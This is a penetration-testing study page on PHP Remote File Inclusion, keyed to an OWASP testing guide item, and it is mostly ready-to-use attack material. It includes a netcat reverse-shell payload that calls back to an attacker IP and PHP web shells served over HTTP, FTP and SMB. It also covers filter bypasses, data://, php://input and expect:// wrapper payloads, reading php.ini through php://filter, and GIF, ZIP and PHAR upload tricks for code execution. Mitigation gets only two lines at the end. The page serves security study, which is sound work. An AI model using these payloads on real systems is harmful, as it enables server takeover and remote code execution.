Skip to content

RFI attack - Remote File Inclusion

OWASP

OWASP Web Security Testing Guide 4.2 > 5. Authorization Testing > 5.1. Testing Directory Traversal File Include

ID Link to Hackinglife Link to OWASP Description
5.1 WSTG-ATHZ-01 Testing Directory Traversal File Include - Identify injection points that pertain to path traversal. - Assess bypassing techniques and identify the extent of path traversal (dot-dot-slash attack, Local/Remote file inclusion)

A Remote File Inclusion (RFI) vulnerability is a type of security flaw found in web applications that allow an attacker to include and execute remote files on a web server.

This vulnerability arises due to improper handling of user-supplied input within the context of file inclusion operations.

Causes

  • Insufficient Input Validation: The web application may not validate or filter user input, allowing attackers to inject malicious data.
  • Lack of Proper Sanitization: Even if input is validated, the application may not adequately sanitize the input before using it in file inclusion operations.
  • Using User Input in File Paths: Applications that dynamically include files based on user input are at high risk if they don't carefully validate and control that input.
  • Failure to Implement Security Controls: Developers might overlook security best practices, such as setting proper file permissions or using security mechanisms like web application firewalls (WAFs).

How to exploit it?

Identify Vulnerable Input: The attacker identifies a web application that accepts user input and uses it in a file inclusion operation, typically in the form of a URL parameter or a POST request parameter.

Inject Malicious Payload: The attacker injects a malicious file path or URL into the vulnerable parameter. For example, they might replace a legitimate parameter like ?page=about.php with ?page=http://evil.com/malicious_script.

Server Executes Malicious Code: When the web application processes the attacker's input, it dynamically includes the remote file or URL. This can lead to remote code execution on the web server, as the malicious code in the included file is executed in the server's context.

php

In php.ini file there are some parameters that define this policy:

  • allow_url_fopen
  • allow_url_include

If these functions are enabled (set to ON), then a LFI can turned into a Remote File Inclusion.

Example 1: http server

1. Create a php file with the remote shell

nano reverse.txt

2. In that php file, craft malicious code

1
2
3
<?php
passthru("nc -e /bin/sh <attacker IP> <attacker port>") 
php ?>

3. Serve that file from you machine (http_serve).

4. Get your machine listening in a port with netcat.

5. In the injection point from where you can make a call to a URL, serve your file. For instance:

1
2
3
4
https:\\VICTIMurlADDRESS/PATH/PATH/page=http://<attackerip>/reverse.txt

# Sometimes to get php executed on the victim machin (and not the attacker), add an ?
https:\\VICTIMurlADDRESS/PATH/PATH/page=http://<attackerip>/reverse.txt?

Sometimes there might be some filtering for the payload (which was:

1
2
3
4
http://<attackerip>/reverse.txt?). 
````

To bypass it:

using uppercase

https:\VICTIMurlADDRESS/PATH/PATH/page=hTTP:///reverse.txt

Other bypassing techniques for slashes

1
2
3
4
5
6
### Example 2: http server

In kali attacking machine:

```bash
echo '<?php system($_GET["cmd"]); ?>' > shell.php

We will serve this shell from our attacking machine:

 sudo python3 -m http.server <LISTENING_PORT>

Now, we can include our local shell through RFI, like we did earlier, but using <OUR_IP> and our <LISTENING_PORT>. We will also specify the command to be executed with &cmd=id:

http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id

Example 3: FTP server

In kali attacking machine:

echo '<?php system($_GET["cmd"]); ?>' > shell.php

We will serve this shell from our attacking machine, but using FTP.  We can start a basic FTP server with Python's pyftpdlib, as follows:

1
2
3
4
5
# Install the library
sudo apt-get install python3-pyftpdlib

# Launch the server
sudo python3 -m pyftpdlib -p 21  

This may also be useful in case http ports are blocked by a firewall or the http:// string gets blocked by a WAF.

And now, from the vulnerable webapp:

http://<SERVER_IP>:<PORT>/index.php?language=ftp://<OUR_IP>/shell.php&cmd=id

By default, PHP tries to authenticate as an anonymous user. If the server requires valid authentication, then the credentials can be specified in the URL, as follows:

curl 'http://<SERVER_IP>:<PORT>/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id'

Example 4: SMB server

In kali attacking machine:

echo '<?php system($_GET["cmd"]); ?>' > shell.php

We can spin up an SMB server using Impacket's smbserver.py, which allows anonymous authentication by default, as follows:

impacket-smbserver -smb2support share $(pwd)

And now, from the vulnerable webapp:

http://<SERVER_IP>:<PORT>/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami

Wrappers

PHP wrapper

PHP Wrappers  allow us to access different I/O streams at the application level, like standard input/output, file descriptors, and memory streams.

php://filter : allow the attacker to include local file and base64 encode as the output:

1
2
3
http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=flag.txt

http://<SERVER_IP>:<PORT>/index.php?language=php://filter/convert.base64-encode/resource=configure

PHP filter without base64 encode:

php://filter/resource=flag.txt

DATA wrapper

The data wrapper can be used to include external data, including PHP code. However, the data wrapper is only available to use if the (allow_url_include) setting is enabled in the PHP configurations. So, let's first confirm whether this setting is enabled, by reading the PHP configuration file through the LFI vulnerability.

The PHP configuration file found at (/etc/php/X.Y/apache2/php.ini) for Apache or at (/etc/php/X.Y/fpm/php.ini) for Nginx, where X.Y is your install PHP version. Example:

1
2
3
4
http://<SERVER_IP>:<PORT>/index.php?language=language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini

# We can filter the output converted from base64 and display the setting
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include

With allow_url_include enabled, we can proceed with our data wrapper attack.

Basic PHP web shell with no encoding:

http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain,<?php system('$_GET("cmd")');?>&cmd=whoami

Basic PHP web shell with base64 encoding:

1
2
3
echo '<?php system($_GET["cmd"]); ?>' | base64

http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id

With CURL:

curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid

Input wrapper

The input wrapper can be used to include external input and execute PHP code.

The input wrapper also depends on the allow_url_include setting

The difference between it and the data wrapper is that we pass our input to the input wrapper as a POST request's data.

curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid

HTTP wrapper

http://IPdomain/rfi.php?language=http://SERVERIP/shell.php

Expect wrapper

The expect wrapper allows us to directly run commands through URL streams. With Expect we don't need to provide a web shell, as it is designed to execute commands. It needs to be manually installed and enabled on the back-end server.

curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"

Uploading a file

Image upload

Crafting Malicious Image:

 echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif

Note: We are using a GIF image in this case since its magic bytes are easily typed, as they are ASCII characters, while other extensions have magic bytes in binary that we would need to URL encode. However, this attack would work with any allowed image or file type.

We upload the file and identify where this file was uploaded: /profile_images/shell.gif

And now we can trigger the remote code execution from the vulnerable endpoint within the app:

http://<SERVER_IP>:<PORT>/index.php?language=./profile_images/shell.gif&cmd=id

ZIP upload

We can utilize the zip wrapper to execute PHP code. However, this wrapper isn't enabled by default, so this method may not always work. To do so, we can start by creating a PHP web shell script and zipping it into a zip archive (named shell.jpg), as follows:

echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php

We upload the file and identify where this file was uploaded: /profile_images/shell.php

And now we can trigger the remote code execution from the vulnerable endpoint within the app:

http://<SERVER_IP>:<PORT>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id

Phar Upload

We will first write the following PHP script into a shell.php file:

1
2
3
4
5
6
7
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$phar->stopBuffering();

We can compile it into a phar file and rename it to shell.jpg as follows:

php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg

Now, we should have a phar file called shell.jpg.

We upload the file and identify where this file was uploaded: /profile_images/shell.jpg

And now we can trigger the remote code execution from the vulnerable endpoint within the app:

http://<SERVER_IP>:<PORT>/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id

Mitigation

In php.ini disallow:

  • allow_url_fopen
  • allow_url_include

User static file inclusion (instead of dynamic file inclusion) by harcoding the files you want to include and not get them using GET or POST methods.

Tools and payloads

Last update: 2025-01-21
Created: January 18, 2023 20:02:39